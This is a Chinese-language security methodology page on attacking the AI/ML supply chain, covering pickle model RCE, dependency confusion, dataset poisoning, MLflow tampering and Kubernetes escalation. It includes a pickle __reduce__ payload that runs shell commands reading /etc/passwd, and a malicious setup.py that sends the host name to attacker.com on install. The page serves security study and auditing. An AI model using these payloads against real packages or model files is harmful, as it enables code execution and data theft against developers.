AI 供應鏈利用

為利用 AI/ML 供應鏈之方法論：模型序列化 RCE、依賴混淆、資料集投毒、CI/CD 注入與容器逃逸。

AI 供應鏈利用

AI/ML 供應鏈依賴於每層之隱式信任：作為不透明二進位 blob 下載之模型、自未驗證來源拉取之資料集，與於前處理期間執行任意程式碼之訓練管線。不同於具簽章與校驗和之傳統軟體供應鏈，ML 生態系將執行不受信任程式碼常態化為標準實務。

模型序列化攻擊

方法論

1. 1

   打造基本 pickle RCE payload

   __reduce__ 方法告訴 pickle 如何重建物件。回傳 os.system 配 shell 命令以於 pickle.loads() 達成程式碼執行。

   使用 __reduce__ 之基本 pickle RCE payloadpythonShow code

   import pickle, os
    
   class MaliciousModel:
       def __reduce__(self):
           return (os.system, ("id; whoami; cat /etc/passwd",))
    
   payload = pickle.dumps(MaliciousModel())
   # pickle.loads(payload) 觸發 RCE

2. 2

   於 PyTorch 模型檔案嵌入 payload

   PyTorch 之 torch.save() 於內部使用 pickle。建立於 torch.load() 期間執行 payload 之木馬模型同時回傳有效權重使受害者不注意到任何錯誤。

3. 3

   經 HuggingFace Hub 分發

   使用下述攻擊向量之一上傳武器化模型至 HuggingFace Hub。

HuggingFace 攻擊向量

Safetensors 限制

Safetensors 解決權重儲存但具重要缺口：

1. 模型可能仍需 pickle 為最佳化器狀態、訓練組態或自訂架構
2. 載入器可能於 safetensors 檔案遺失時退回 pickle
3. trust_remote_code=True 無論權重格式執行任意 Python
4. 模型卡可主張 safetensors 格式而實際檔案為 pickle

依賴混淆與拼寫字排擠

依賴混淆 利用私有與公開套件索引間之互動。

攻擊步驟

1. 1

   辨識內部套件名稱

   自職缺、GitHub 儲存庫、錯誤訊息或文件洩漏列舉內部 ML 套件名稱。

2. 2

   以高版本發布至公開 PyPI

   建立具同一名稱與版本 99.0.0 之套件。若目標使用 --extra-index-url（而非 --index-url），pip 自公開 PyPI 安裝較高版本。

   具信標外洩之依賴混淆 setup.pypythonShow code

   # 為惡意套件之 setup.py
   from setuptools import setup
   import os, urllib.request
    
   try:
       hostname = os.uname().nodename
       urllib.request.urlopen(f"https://attacker.com/dep-confusion?host={hostname}")
   except: pass
    
   setup(name="acme-ml-utils", version="99.0.0", packages=["acme_ml_utils"])

3. 3

   利用拼寫字排擠以較廣目標

   針對常被拼寫錯誤之 ML 套件名稱。

常見拼寫字排擠目標

資料集投毒

於 HuggingFace Datasets、Kaggle 與學術儲存庫之資料集以最小驗證被消耗。兩主要攻擊模式：

CI/CD 管線注入

脆弱 ML 管線檢核表

為這些四關鍵缺陷稽核 ML 訓練工作流程：

實驗追蹤作為攻擊面

以 MLflow 追蹤伺服器存取，攻擊者可：

1. 改變訓練執行載入之超參數
2. 將產物引用重導至惡意模型檢查點
3. 修改資料集版本標籤以指向投毒資料
4. 以木馬化檢查點覆寫生產模型註冊

ML 基礎設施中之容器逃逸

GPU 容器攻擊面

GPU 容器擴展標準容器攻擊面因其典型需：

GPU 記憶體殘餘掃描

於共享 GPU 基礎設施上，先前租戶之資料（模型權重、訓練樣本、API 金鑰）可能於未初始化 GPU 記憶體持續。經 torch.empty(..., device='cuda') 分配未初始化張量並掃描非零值。

Kubernetes ML 叢集提升路徑

1. 1

   受損訓練工作

   經投毒之依賴或資料管線注入。

2. 2

   讀取掛載密鑰

   自掛載之 Kubernetes 密鑰之 AWS 憑證、HuggingFace token。

3. 3

   存取共享模型儲存

   以木馬版本取代 NFS 掛載上之生產模型。

4. 4

   樞紐至資料湖

   自共享掛載外洩訓練資料。

5. 5

   逃逸至節點

   使用特權容器存取（privileged: true）以節點層級受損。

供應鏈稽核檢核表

相關主題

• Pickle 利用 —— Pickle 反序列化為關鍵供應鏈向量
• 應用安全 —— 為 AI 系統之應用層級安全

參考資料

• OWASP Machine Learning Security Top 10 —— ML 特定供應鏈風險
• Hugging Face Security —— 模型中樞安全文件
• Fickling: Pickle decompiler and static analyzer —— Trail of Bits pickle 安全工具